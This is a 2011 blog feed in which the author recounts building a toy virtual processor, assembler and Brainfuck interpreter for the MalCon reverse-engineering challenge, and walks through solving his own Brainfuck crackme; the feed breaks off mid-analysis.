<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7917578420665249631</id><updated>2011-12-07T23:51:16.232-08:00</updated><title type='text'>Aodrulez</title><subtitle type='html'>Warning : Please dont follow me. Am&lt;br&gt;busy chasing my dreams n doing things &lt;br&gt;that amuse me. Am the New-Age-Digital-Hippie!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-9063811871717451587</id><published>2011-12-07T00:01:00.000-08:00</published><updated>2011-12-07T12:22:21.044-08:00</updated><title type='text'>The Making of MalCon CTM-2011 Challenge.</title><content type='html'>Well, it was declared last year itself after the first malcon that we'll be having our own version of an online challenge for the world to compete over.We called it the CTM. Which stood for 'Capture the Mal' challenge. Nothing much happened after that though. We all got busy with the rest of our work until about 3 months before the event, when we realized that we promised a CTM &amp; had completely forgotten about it. As usual, when it comes to technical stuff @MalCon, am the SPOC.&lt;br /&gt;&lt;br /&gt;So, I was left with a mammoth task.Its not that I've never designed a CTF contest before.. infact I do that for all my workshops &amp; training sessions. But this one was different. We do malcon every year not because it earns us something.. or because we get perks for doing it. Infact, we make no money out of it at all. We do it because it was our dream. We've learnt about 90% of what we know by reading 'tuts' n textfiles on the internet, created by generous &amp; highly talented people. We wanted to do our bit too. Malcon is not about spreading malwares. Its about generating proactive research by good people to build secure systems.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, so here I was, with no idea at all about how am gonna design this CTM thingy. And then it happened. :) I have this weird 'moment' once in a while where I get bombarded with loads of crazy ideas. Thats how the idea of creating a Virtual-Machine based challenge came to my mind. But there were 2 major problems. &lt;br /&gt;&lt;br /&gt;1. I had no experience in creating a VM manually.&lt;br /&gt;2. I wanted it to be simple enough so that even a common man can attempt it.&lt;br /&gt;&lt;br /&gt;At first, I had to create a VM myself to prove that its possible. I know that there are thousands of articles on that available but this one had to be simple. The idea was to create a VM architecture that was as simple as possible so that the ones attempting it do not end up getting demoralized. While, the VM-Code or the 'Bootrom' as I call it, can be complex enough to deliver the quality &amp; standards that we at malcon are fanatic about.&lt;br /&gt;&lt;br /&gt;The good part was, I have considerable understanding &amp; experience with programming as well as reverse-engineering. I've got past  experience with creating some really complex &amp; effective anti-reversing routines too. So, I figured out that this one wont be as tough as I thought it would be, initially. How wrong was I. :D &lt;br /&gt;&lt;br /&gt;To begin with, I named my Abstract Processor as 'Aod8'. Then, I tried to design it similar to the intel-processors am comfortable  with. Although, I figured out that I dont need more than 15 Instructions in my instruction-set to create a complex CTM, I thought that maybe someone, someday might wanna write some cool program for it &amp; thats the only reason why I endedup having about 40 instructions  in all. Once the design part of it was over &amp; I was almost sure that I had the required instructions in there, it was time to code the processor.My first choice was 'PERL'. Its easy to program in, robust with REGEX &amp; more importantly I didnot have to mess with variable types.Ah, I think I forgot to mention that in order to keep the CTM easy to attempt, I designed the processor to work with 'Byte' sized instructions &amp; data. Most people are not comfortable with handling data at 'bit' level.So, that was the reason behind this super simplistic Aod8 Architecture design.&lt;br /&gt;&lt;br /&gt;Well, the PERL idea was disastrous. Initially I struggled a little with  type conversion. Then again...I never write the entire code at one stretch, ever. :P I write some..then test it thoroughly &amp; then go further. When am trying a new idea or a theory, I am totally impatient to see if it works or not. :) So obviously, the first instructions I implemented in my Aod8 processor were the ones that'll allow me to print a character on the screen.. so that if it works as expected, I can jump up &amp; down &amp; celebrate victory. But but but... the way I've designed it, I can only print one character at a time.That too, if I send the 'output' opcode, it'll fetch the byte at the current location of the stack-pointer on the stack &amp; print it.Now, lets say I want to print 'A' on the screen. For that, I'll have to first push its ascii code onto the stack. :D As you can see, I cannot  directly push data onto the stack either.For that, I'll have to move the  ascii code to a GPR like 'A' or 'B', then push it onto the stack, then call the 'output' instruction. In essence, the set of instructions to print a char 'A' on the screen in Aod8 Assembly would be:&lt;br /&gt;&lt;br /&gt;                                mov a,65&lt;br /&gt;                                mov [sp],a&lt;br /&gt;                                output&lt;br /&gt;                                halt&lt;br /&gt;&lt;br /&gt;[ Well, I've already uploaded all the Tools, source-codes &amp; everything related to my Aod8 project on GitHub &amp; you can find them here:   &lt;a href="https://github.com/Aodrulez/Aod8"&gt;https://github.com/Aodrulez/Aod8&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;Below is the output on my terminal when I compile this code using my Aod8 Assembler written in PERL just to give you an idea of how the entire thing works.&lt;br /&gt;&lt;br /&gt;&lt;script type="syntaxhighlighter" class="brush:text"&gt;&lt;![CDATA[&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/malcon/ctm$ cat a.asm&lt;br /&gt;mov a,65&lt;br /&gt;mov [sp],a&lt;br /&gt;output&lt;br /&gt;halt&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/malcon/ctm$ perl ./tools/asm.pl a.asm bootrom.txt&lt;br /&gt;&lt;br /&gt;   +------------------+&lt;br /&gt;   |  Aod8 Assembler  |&lt;br /&gt;   +------------------+&lt;br /&gt;   (c) Aodrulez.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Version 1.0&lt;br /&gt;-----------&lt;br /&gt;[*] Input Filename  : a.asm&lt;br /&gt;[*] Output Filename : bootrom.txt&lt;br /&gt;[*] Lines of Code   : 4&lt;br /&gt;[+] First Pass : Finding labels.&lt;br /&gt;[+] Second Pass : Fixing label addresses.&lt;br /&gt;[+] Third Pass : Compiling.&lt;br /&gt;[!] Done.&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/malcon/ctm$ ./processor&lt;br /&gt;&lt;br /&gt;   +--------------------------+&lt;br /&gt;   |  Aod8 Virtual Processor  |&lt;br /&gt;   +--------------------------+&lt;br /&gt;          (c) Aodrulez.&lt;br /&gt;&lt;br /&gt;[+] Reading the Boot-Rom.&lt;br /&gt;[+] Read successfully.&lt;br /&gt;[+] Total Size : 5.&lt;br /&gt;[!] Registers initialised to 0.&lt;br /&gt;[!] Booting using the Boot-Rom.&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;A&lt;br /&gt;Halt.aodrulez@pwn4g3:~/malcon/ctm$ &lt;br /&gt;]]&gt;&lt;/script&gt;&lt;br /&gt;So yea, that works perfectly! when the bootrom is executed by the Aod8 Emulator/Virtual Machine or Abstract Processor implementation..which ever way you like to call it, it does print 'A' on the screen. \m/ But let me remind you that at that time... I never had an assembler! :) So, to see that output, I had to manually construct a bootrom using a Hex-Editor by inserting opcodes &amp; data in hex. The moment I saw it print 'A' on the screen, I was in trance :D That was it! It proved my theory of a crazy CTM  to be practically possible &amp; from that point onwards... it was a mad rush to complete the processor implementation as soon as possible. Well, I wrote it entirely in PERL first. But after constructing bootrom manually, I wasnt getting expected results. Thats when I found out that I made some major 'Type Conversion' errors here &amp; there. This was awefully painful. Either I could spend another day fixing the perl implementation which was starting to get me frustrated or I can switch to c/c++ &amp; wind it up asap. I opted for the second option for two reasons.&lt;br /&gt;&lt;br /&gt;1. I know c/c++ very well.&lt;br /&gt;2. It'll prove my theory that the ctm can be played by anyone who can implement the Processor, in any language he likes.&lt;br /&gt;&lt;br /&gt;So that was it.I got the processor written top-to-bottom in less than 2hrs. Now, I knew that I've implemented the Design perfectly, it was time to test each &amp; every instruction. Initially I enjoyed the geek-feeling it gave to  construct bootroms out of hex-editors manually but pretty soon.. I was having severe head-aches. :D Thats when I decided its time to write an 'Assembler' for this Architecture. In the mean time, I had my PERL implementation too sorted out by comparing the output of my 'c' implementation.&lt;br /&gt;&lt;br /&gt;I didnot even realize when this became an obsession. I was working on my office related work all day &amp; working on this CTM all nite! In a few day's time, I had a very crude Assembler than can convert asm code to bootroms, 2 implementations of the Aod8 processor &amp; a slightly tweaked version of the 'c' implementation  acting like a debugger/tracer. It was time to learn the basics of programming something that I created. :D Yea, it sure sounds easy but it was not.Just when I started to try serious programming, I realised that in my obsession with keeping the design simple, I had seriously limited the programming possibilities of the architecture. The design was so simplistic that I couldnot even implement  self-modifying code. Because, the ROM was as the name suggests, Read-Only. The Aod8 processor was designed to fetch instructions &amp; execute them &amp; the stack was provided solely to store temporary data.It was impossible to modify the code during execution. This meant that everything that was part of the CTM challenge had to be put up in a clearly-visible form inside the bootrom.Anyone with a code tracer would end up dumping all the important data off the bootrom.&lt;br /&gt;&lt;br /&gt;Another limitation was the 'byte' implementation. :) The only Flow-control  instructions that were used in the CTM were cmp,je,jne,jle,jmp &amp; loop. As you  can see, every other jmp instruction requires a parameter.This parameter specifies  the location to jump/execute from now on. The catch here though is that, the Aod8  Architecture can only have data upto the size of a 'byte'.The biggest number in  a single byte is 255 which meant that theoretically I would have been limited to  a bootrom of size 255 bytes as I couldnot access a higher number because of the  limitation in the design. Thats when I decided to tweak the design a little bit  &amp; partially bypass the limitation yet keeping the design simple. You'll understand  what I did if you observe the way I've implemented the 'jmp/loop' instructions. :)&lt;br /&gt;&lt;br /&gt;So far, so good.Now that I had some crude tools &amp; thorough understanding of the programming details, it was time to begin creating the CTM. Somewhere near that time a huge tragedy struck. Steve Jobs passed away &amp; we were all in shock. That was when I decided that am going to do my bit for him. Thats the reason you'll see a brief text right in the beginning of the CTM challenge when you boot it. It was my way of thanking him for all that he has done. :) Well, at first, I  wanted to have challenges appearing back to back as the Aod8 Architecture was seriously limited but once I had the first level done, it looked so very boring! It was time to push it up a few notches &amp; be artistic! That was when I realised  that my Assembler was seriously crude. :D Spent another day adding support for 'Labels' in my Assembler so that I can write code like "jmp label_beginning"  instead of "jmp 134".That was one helluva experience in itself.At the end of the day, I had a sophisticated Assembler which made it much much easier to  code things. &lt;br /&gt;&lt;br /&gt;I needed to start designing the CTM again from scratch. phew! But now am so glad that I did. This time around wanted to create a Linux-like feeling to it. Getting the initial UI until you hit 'run' took about 2 days to code. It was amazing yet I felt something was just not right. I thought that if I put-up an  Easter-Egg in the section where the general UI resides, chances are people  wont find it out that easily. Thats when I thought, why not create a 'Brainfuck Interpreter' for this architecture? :D It'll be piece of A.R.T. And guess what? it took more time than creating the rest of the CTM itself.&lt;br /&gt;&lt;br /&gt;If you want to see the first Easter-Egg, boot the CTM challenge &amp; when it says "Press ENTER to boot AoDOS-Trial from this Bootrom.", type '^' &amp; hit enter. :)&lt;br /&gt;&lt;br /&gt;&lt;script type="syntaxhighlighter" class="brush:text"&gt;&lt;![CDATA[&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/malcon/ctm$ ./processor &lt;br /&gt;&lt;br /&gt;   +--------------------------+&lt;br /&gt;   |  Aod8 Virtual Processor  |&lt;br /&gt;   +--------------------------+&lt;br /&gt;          (c) Aodrulez.&lt;br /&gt;&lt;br /&gt;[+] Reading the Boot-Rom.&lt;br /&gt;[+] Read successfully.&lt;br /&gt;[+] Total Size : 136300.&lt;br /&gt;[!] Registers initialised to 0.&lt;br /&gt;[!] Booting using the Boot-Rom.&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  +-----------------------------------------------------+&lt;br /&gt;  | Here's to the crazy ones. The misfits. The rebels.  |&lt;br /&gt;  | The troublemakers. The round pegs in the square     |&lt;br /&gt;  | holes. The ones who see things differently.They're  |&lt;br /&gt;  | not fond of rules. And they have no respect for     |&lt;br /&gt;  | the status quo. You can quote them, disagree with   |&lt;br /&gt;  | them, glorify or vilify them. About the only thing  |&lt;br /&gt;  | you can't do is ignore them. Because they change    |&lt;br /&gt;  | things. They push the human race forward. And while |&lt;br /&gt;  | some may see them as the crazy ones, we see genius. |&lt;br /&gt;  | Because the people who are crazy enough to think    |&lt;br /&gt;  | they can change the world, are the ones who do.     |&lt;br /&gt;  |                                                     |&lt;br /&gt;  |                  Think Different.                   |&lt;br /&gt;  +-----------------------------------------------------+&lt;br /&gt;      [ A tribute to the iConic Steve Jobs from the ]&lt;br /&gt;      [            entire MalCon Team.              ]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[+] No more open Windows for malwares. :)&lt;br /&gt;[+] Press ENTER to boot AoDOS-Trial from this Bootrom.&lt;br /&gt;^&lt;br /&gt;&lt;br /&gt; [!] Welcome to the Magic Dungeon!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  +---------------------------------------------+&lt;br /&gt;  | Aodrulez's Brainfuck Interpreter for AoDOS. |&lt;br /&gt;  +---------------------------------------------+&lt;br /&gt;  &lt;br /&gt;  (Note: The code should end with '~' character.)&lt;br /&gt;  (Note: The code should not contain Line-Feeds.)&lt;br /&gt; &lt;br /&gt; [+] Enter Brainfuck code : ,[.-]~ &lt;br /&gt;z&lt;br /&gt;zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?&gt;=&lt;;&lt;br /&gt;:9876543210/.-,+*)('&amp;%$#"!                 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;br /&gt;Halt.aodrulez@pwn4g3:~/malcon/ctm$ &lt;br /&gt;&lt;br /&gt;]]&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, its a full-fledged Brainfuck interpreter written entirely in Aod8 Assembler. You can try most of the brainfuck programs in it. This was when my boss asked me to report the progress I made with the CTM. :D It took me some time to explain what  I've done &amp; although he understood the beauty of it, he was worried that maybe not  many will be able to solve it. Thats when we decided that we keep it as simple as  possible so that most of the people who attempt it, can crack it. I was already done with 3 levels by this time. I had some major plans for level-4 &amp; level-5 when we  had this discussion &amp; thats when I decided to completely drop the idea of Level-5.&lt;br /&gt;&lt;br /&gt;I also re-wrote level-3 to have a very simple algorithm that can be easily reversed. Level-4 is basically a crackme that I wrote in Brainfuck, being emulated on my Aod8 Brainfuck Interpreter. Again, I re-wrote a simpler version of the Brainfuck crackme so that its do-able. It was not designed for the Uber-Reversers at all. :) It was for noobs &amp; for people who are majorly into programming. Just by looking at the design I can think of funny ways to defeat all the levels. The weakest point of the design being the "Stack". An emulator that dumps stack contents would have ended the game right away! And frankly, we wanted winners. Its amazing that I spent 1 whole month re-writing the CTM to make it simpler! &lt;br /&gt;&lt;br /&gt;We had officially 2 winners this time. Aseem &amp; Dhanesh. They did a wonderful job. :) But trust me, I've received more mails with compliments &amp; evident eagerness from people who were just attempting it. For most, the part when they got the Emulator done &amp; when the bootrom displayed the initial message was an achievement in itself! And for each mail that I received, I won once. :)  &lt;br /&gt;&lt;br /&gt;Now, let me give a brief idea of what the CTM contained. It was about 130kb in size. I managed to squeeze in 4 levels, 2 Easter-Eggs, Entire asm code of the CTM except Level-4, Aod8 Processor implementation in C as well as PERL, a real-virus code, complete 3-pass Assembler for Aod8 &amp; a sample asm file to explain the usage. Now, thats pure Art. :)&lt;br /&gt;&lt;br /&gt;But, it took me close to 2 months ( yea, I have a very hectic day-job where I work on ten thousand things at a time. :P ) to complete it, out of which I spent one whole month re-designing it to be simple. I wrote the CTM almost 3 times from scratch. Tested it on windows, linux &amp; even on my iPod to be sure that it works. The Brainfuck Interpreter was a test of my patience &amp; persistence. :D I wrote that right from scratch almost 34 times until I got it right! Infact, I wrote the Aod8 Asm code for it on paper manually  about 4 times. I designed each level separately &amp; finally when it was time to combine all of them into one single bootrom, it just wont work! Spent another whole week going  through about 1,29,918 lines of code &amp; debugging every single jump &amp; loop instruction until I got it fixed. I guess its not patience after all, am just plain adamant :)&lt;br /&gt;&lt;br /&gt;Overall, for me it was a huge learning curve. More than that, it has been a personal milestone in many ways. I've always wanted to give back to the community &amp; this one gave me a platform to reach a wide range of people. I hope that everyone who attempted the MalCon CTM this year had a good time. Special Thanks to Shantanu Gawade for being my Beta-Tester. :)&lt;br /&gt;&lt;br /&gt;#Nirvana-Achieved.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-9063811871717451587?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/9063811871717451587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=9063811871717451587' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/9063811871717451587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/9063811871717451587'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/12/making-of-malcon-ctm-2011-challenge.html' title='The Making of MalCon CTM-2011 Challenge.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-3398043735733035366</id><published>2011-10-18T07:11:00.000-07:00</published><updated>2011-10-18T07:11:21.127-07:00</updated><title type='text'>Creating your own Abstract Processor</title><content type='html'>&lt;div style="width:477px" id="__ss_9748990"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/Aodrulez/creating-your-own-abstract-processor" title="Creating your own Abstract Processor"&gt;Creating your own Abstract Processor&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse9748990" width="477" height="510"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/doc_player.swf?doc=abstract-processor-111018090814-phpapp02&amp;stripped_title=creating-your-own-abstract-processor&amp;userName=Aodrulez" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse9748990" src="http://static.slidesharecdn.com/swf/doc_player.swf?doc=abstract-processor-111018090814-phpapp02&amp;stripped_title=creating-your-own-abstract-processor&amp;userName=Aodrulez" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="477" height="510"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/Aodrulez"&gt;Aodrulez&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-3398043735733035366?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/3398043735733035366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=3398043735733035366' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3398043735733035366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3398043735733035366'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/10/creating-your-own-abstract-processor.html' title='Creating your own Abstract Processor'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-691937911742227081</id><published>2011-09-01T09:08:00.000-07:00</published><updated>2011-09-01T09:09:14.605-07:00</updated><title type='text'>Detailed Analysis of My Brainfuck Crackme</title><content type='html'>The Code : &lt;br /&gt;&lt;br /&gt;         Aodrulez's Brainfuck Crackme V1&lt;br /&gt;# -------------------------------------------------&lt;br /&gt;#                 (Its very Easy)&lt;br /&gt;&gt;++++++++++[&gt;++++++++&gt;++++++++++&gt;+++++++++++&gt;++++++&lt;br /&gt;+++++&gt;++++++++++&gt;+++++++++++&gt;+++&gt;++++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;-]&gt;+++&gt;+&gt;++++&gt;-----&gt;---&gt;--&gt;++&gt;--&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;.&lt;br /&gt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;,&gt;,&gt;,&gt;,&gt;,&gt;,&lt;[&gt;-&lt;-]#&gt;[&gt;+++&gt;++++++&gt;+&lt;br /&gt;+++&gt;+++&gt;+++++++&gt;+++++++++++&gt;+++++++++++&gt;++++++++++&gt;&lt;br /&gt;+++++++++++&gt;++++++++++&gt;++++++++++++&gt;++++++++++++&gt;++&lt;br /&gt;+++++++++&gt;++++++++++&gt;++++++++++++&gt;+++++++++++&gt;+++++&lt;br /&gt;++++++&gt;+++++++++++&gt;++++++++++++&gt;+++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-]&gt;++&gt;--&gt;+&gt;++&gt;---&gt;+&gt;&gt;+++&gt;++++&gt;---&gt;----&lt;br /&gt;&gt;---&gt;--&gt;---&gt;----&gt;-----&gt;+&gt;&gt;-----&gt;----&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;br /&gt;&lt;br /&gt;Lets split it into interesting parts.&lt;br /&gt;&lt;br /&gt;As we know, in brainfuck input is taken by the ','&lt;br /&gt;character &amp; output is given by the '.' character.&lt;br /&gt;If you've compiled &amp; tried the crackme..it simply&lt;br /&gt;asks for a "Serial : ". Based on what you enter...it'll&lt;br /&gt;decide if it is correct or not. Great...so lets locate&lt;br /&gt;the part where it accepts our serial. :)&lt;br /&gt;&lt;br /&gt;Analysis&lt;br /&gt;&lt;br /&gt;In the 4th line of the code, we can see that its takin&lt;br /&gt;6 bytes of input.&lt;br /&gt;&lt;br /&gt;&gt;,&gt;,&gt;,&gt;,&gt;,&gt;,&lt;br /&gt;&lt;br /&gt;Prior to that.. the code is :&lt;br /&gt;&lt;br /&gt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;br /&gt;&lt;br /&gt;Which obviously is printing "Serial : " 9 bytes exactly.&lt;br /&gt;&lt;br /&gt;Lets see what happens after the input.&lt;br /&gt;&lt;br /&gt;&lt;[&gt;-&lt;-] &lt;br /&gt;&lt;br /&gt;Remember that the memory pointer is still pointing to the&lt;br /&gt;last character of input.So, a "&lt;" will make it point to the&lt;br /&gt;second last character.Now, after that "[]" represents a while&lt;br /&gt;loop where the varible's memory address to be monitored&lt;br /&gt;is pointed to by the PC register..in this case... the ASCII&lt;br /&gt;value of the second last char.&lt;br /&gt;&lt;br /&gt;Lets analyse the while loop.&lt;br /&gt;&lt;br /&gt;[&gt;-&lt;-] &lt;br /&gt;&lt;br /&gt;&gt; == point to the next memory location. (last char)&lt;br /&gt;- == decrement the value at that location&lt;br /&gt;&lt; == point to the previous mem location (second last char)&lt;br /&gt;- == decrement the value at that location.&lt;br /&gt;&lt;br /&gt;The last part inside while loop is important..&lt;br /&gt;which is "&lt;-" because the the while loop will continue as long&lt;br /&gt;as the value at that memory location is not 0.&lt;br /&gt;&lt;br /&gt;Phew! so in short.. the crackme takes input &amp; substracts&lt;br /&gt;the ascii code of the last character by the ascii code of the&lt;br /&gt;second last character.&lt;br /&gt;&lt;br /&gt;Then what?&lt;br /&gt;Now..lets see...do u like patterns? :) When was the last time&lt;br /&gt;you found matching ones? ;) Lets analyze the first part of&lt;br /&gt;the code..the part where it prints "Serial : "&lt;br /&gt;&lt;br /&gt;This here is the code that does that..&lt;br /&gt;&lt;br /&gt;&gt;++++++++++[&gt;++++++++&gt;++++++++++&gt;+++++++++++&gt;++++++&lt;br /&gt;+++++&gt;++++++++++&gt;+++++++++++&gt;+++&gt;++++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;-]&gt;+++&gt;+&gt;++++&gt;-----&gt;---&gt;--&gt;++&gt;--&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;.&lt;br /&gt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;br /&gt;&lt;br /&gt;DOnt believe me? No worries..try running it in a Brainfuck&lt;br /&gt;interpreter online..right here : &lt;br /&gt;&lt;br /&gt;http://www.iamcal.com/misc/bf_debug/&lt;br /&gt;&lt;br /&gt;Am sure the above code prints "Serial : ". Now lets analyse the&lt;br /&gt;above code..&lt;br /&gt;&lt;br /&gt;&gt; = increment the memory pointer.&lt;br /&gt;++++++++++ = put 10 at that location.&lt;br /&gt;[] = run this loop ten times.&lt;br /&gt;What the loop does is that it'll put the ascii codes of the&lt;br /&gt;characters you want to print in consecutive memory locations.&lt;br /&gt;&lt;br /&gt;&gt;+++&gt;+&gt;++++&gt;-----&gt;---&gt;--&gt;++&gt;--&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;br /&gt;Fine-tuning the values there &amp; pointing to start of the&lt;br /&gt;buffer.&lt;br /&gt;&lt;br /&gt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;br /&gt;&lt;br /&gt;Print the string.&lt;br /&gt;&lt;br /&gt;Now lets look at the last part of the crackme's code... where&lt;br /&gt;it obviously has to print a good-boy string.&lt;br /&gt;&lt;br /&gt;Starting from the end of its code...&lt;br /&gt;&lt;br /&gt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;br /&gt;&lt;br /&gt;Print the good boy string.&lt;br /&gt;&lt;br /&gt;&gt;++&gt;--&gt;+&gt;++&gt;---&gt;+&gt;&gt;+++&gt;++++&gt;---&gt;----&lt;br /&gt;&gt;---&gt;--&gt;---&gt;----&gt;-----&gt;+&gt;&gt;-----&gt;----&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;br /&gt;Fine tuning the strings &amp; pointing to its beginning.&lt;br /&gt;&lt;br /&gt;[&gt;+++&gt;++++++&gt;+&lt;br /&gt;+++&gt;+++&gt;+++++++&gt;+++++++++++&gt;+++++++++++&gt;++++++++++&gt;&lt;br /&gt;+++++++++++&gt;++++++++++&gt;++++++++++++&gt;++++++++++++&gt;++&lt;br /&gt;+++++++++&gt;++++++++++&gt;++++++++++++&gt;+++++++++++&gt;+++++&lt;br /&gt;++++++&gt;+++++++++++&gt;++++++++++++&gt;+++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-]&lt;br /&gt;&lt;br /&gt;While loop that puts the ascii code numbers into the&lt;br /&gt;right memory locations.&lt;br /&gt;&lt;br /&gt;But wait... something is missing aint it? The memory&lt;br /&gt;location of the variable for the while-loop. &lt;br /&gt;&lt;br /&gt;Because prior to this... the only code that exists is&lt;br /&gt;this  "#&gt;" &amp; then the part where it substracts the &lt;br /&gt;ascii code values between the last 2 characters..So &lt;br /&gt;what exactly is happening?&lt;br /&gt;&lt;br /&gt;"&gt;" instruction will again make it point to the last &lt;br /&gt;character.Thus..the number of iterations for the &lt;br /&gt;While loop that prints the good-boy message depends&lt;br /&gt;upon the ascii value of the last character.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you remember.. usually the correct value for the&lt;br /&gt;while-loop to print is 10.Lets check if our assumption&lt;br /&gt;is right or not.&lt;br /&gt;&lt;br 